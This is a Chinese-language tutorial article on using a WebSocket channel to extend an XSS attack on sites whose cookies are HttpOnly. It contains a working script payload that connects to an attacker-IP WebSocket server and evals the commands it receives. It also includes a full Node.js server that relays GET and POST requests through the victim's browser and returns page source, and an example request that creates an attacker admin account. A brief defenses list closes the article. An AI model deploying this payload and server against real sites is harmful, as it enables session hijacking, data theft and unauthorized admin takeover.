httponly扩大成果之Websocket源码映射
字数 1563 2025-08-15 21:31:46
WebSocket源码映射技术详解
0x00 技术背景
在XSS攻击中,当遇到HttpOnly保护的cookie时,传统的攻击方式面临以下挑战:
- 需要分析后台源码构造XSS Payload
- 需要高级JavaScript技能处理可能的加密代码
- 传统XSS获取源码是一次性的,效率低下
- 需要多次XSS攻击才能完成目标
WebSocket源码映射技术解决了这些问题,通过建立持久连接实现:
- 一次XSS攻击获取多个页面源码
- 无需深入JavaScript审计
- 自动化发现和利用关键功能
0x01 技术原理
核心思想
利用WebSocket建立攻击者服务器与受害者浏览器之间的持久双向通信通道,使受害者浏览器成为攻击者的"代理",可以:
- 获取多个页面的源码
- 引入目标站点的CSS和JS资源
- 在本地分析源码寻找关键功能
- 通过WebSocket发送指令执行特定操作
与传统XSS对比
| 特性 | 传统XSS | WebSocket映射 |
|---|---|---|
| 连接方式 | 一次性HTTP请求 | 持久WebSocket连接 |
| 源码获取 | 单页面 | 多页面 |
| 操作复杂度 | 需要手动构造Payload | 可自动化Fuzz |
| 审计需求 | 需要深入JS审计 | 可减少JS审计 |
0x02 技术实现
攻击流程
- 注入WebSocket连接的XSS Payload
- 受害者浏览器连接攻击者WebSocket服务器
- 攻击者通过WebSocket发送指令
- 受害者浏览器执行指令并返回结果
关键组件
1. XSS Payload
<script>
var ws = new WebSocket('ws://攻击者IP:5555/'); // 连接攻击者WebSocket服务器
ws.addEventListener('message', (data) => {
try {
eval(data.data); // 执行攻击者发送的指令
}catch(e){
console.log('代码执行错误');
}
});
</script>
2. 攻击者服务器(Node.js实现)
const ws = require('nodejs-websocket');
const http = require('http');
const url = require('url');
let resStr = '';
// WebSocket服务器
let server = ws.createServer(connect => {
connect.send(createString('GET', `'+location.href+'`));
connect.on('text', (data) => {
resStr = data; // 接收受害者返回的数据
});
connect.on('error', () => {});
connect.on('close', () => {});
});
server.listen(5555);
// HTTP服务器
let httpServer = http.createServer((request, response) => {
if(request.url == '/favicon.ico') return;
response.writeHead(200, {'Content-Type':'text/html;charset=utf-8'});
if(url.parse(request.url).pathname == '/heihu577'){
let querystring = url.parse(request.url, true);
let cmd = querystring.query.cmd;
if(cmd != '') guangbo(cmd);
}
else if(request.method.toLowerCase() == 'get'){
guangbo(createString('GET', request.url));
response.end(resStr);
}
else if(request.method.toLowerCase() == 'post'){
let tmpStr = '';
request.on('data', (chunk) => { tmpStr += chunk; });
request.on('end', () => {
guangbo(createString('POST', request.url, tmpStr));
response.end(resStr);
});
}
});
httpServer.listen(6666);
// 广播函数
function guangbo(data){
server.connections.forEach(item => {
item.send(data); // 向所有连接的客户端发送指令
});
}
// 创建执行字符串
function createString(method, url, options = ''){
let str = '';
switch(method){
case 'GET':
str = `let xml = new XMLHttpRequest();
xml.open('${method}', '${url}');
xml.send(null);
xml.onreadystatechange=function(){
if(this.status=='200'&&this.readyState=='4'){
ws.send(this.responseText.replace(/<(script|link)(.+?)(href|src)=http/gm,\`<$1$2$3=\${window.location.protocol+"//"+window.location.host+"/"}$5$4$6>\`));
}
}`;
break;
case 'POST':
str = `let xml = new XMLHttpRequest();
xml.open('${method}', '${url}');
xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xml.send('${options}');
xml.onreadystatechange=function(){
if(this.status=='200'&&this.readyState=='4'){
ws.send(this.responseText);
}
}`;
break;
}
return str;
}
0x03 技术优势
- 持久连接:WebSocket保持长连接,避免多次XSS注入
- 多页面获取:通过一个XSS获取站点多个页面的源码
- 资源引入:可以引入站点的CSS和JS资源,完整还原功能环境
- 自动化Fuzz:可以在本地分析源码后,自动化测试关键功能
- 减少审计:通过源码映射减少JavaScript审计工作量
0x04 实际应用
1. 源码映射流程
- 注入WebSocket XSS Payload
- 通过WebSocket获取目标页面源码
- 修改获取的源码中的资源引用路径(将绝对路径改为相对路径)
- 在本地浏览器中加载修改后的源码
2. 功能Fuzz示例
- 在映射的源码中寻找"添加管理员"功能
- 分析表单提交的URL和参数
- 通过WebSocket发送构造的POST请求
// 攻击者通过WebSocket发送
POST /admin/addUser
username=attacker&password=123456&role=admin
3. 资源处理技巧
使用正则表达式处理源码中的资源引用:
this.responseText.replace(/<(script|link)(.+?)(href|src)=http/gm,`<$1$2$3=${window.location.protocol+"//"+window.location.host+"/"}$5$4$6>`)
将绝对路径改为相对路径,确保资源能正确加载。
0x05 注意事项
- 同源策略:WebSocket不受同源策略限制,但XHR请求仍受限制
- 连接持久性:当受害者关闭页面时,连接会中断
- 资源加载:需要正确处理跨域资源引用
- 编码问题:注意处理不同页面的字符编码
- HTTPS:安全页面(HTTPS)中只能连接WSS(WebSocket Secure)
0x06 防御措施
- 内容安全策略(CSP):限制WebSocket连接
- 输入过滤:严格过滤用户输入,防止XSS
- HttpOnly+Secure:Cookie设置HttpOnly和Secure标志
- WebSocket白名单:限制允许的WebSocket连接域
- XSS防护:部署XSS过滤器
0x07 总结
WebSocket源码映射技术通过建立持久连接,将传统的一次性XSS攻击转变为持续性的控制通道,大大提高了攻击效率。这种技术特别适合针对HttpOnly保护的系统,通过源码映射可以绕过复杂的JavaScript审计,直接分析和利用后台功能。防御方面需要综合应用CSP、输入过滤和WebSocket限制等措施。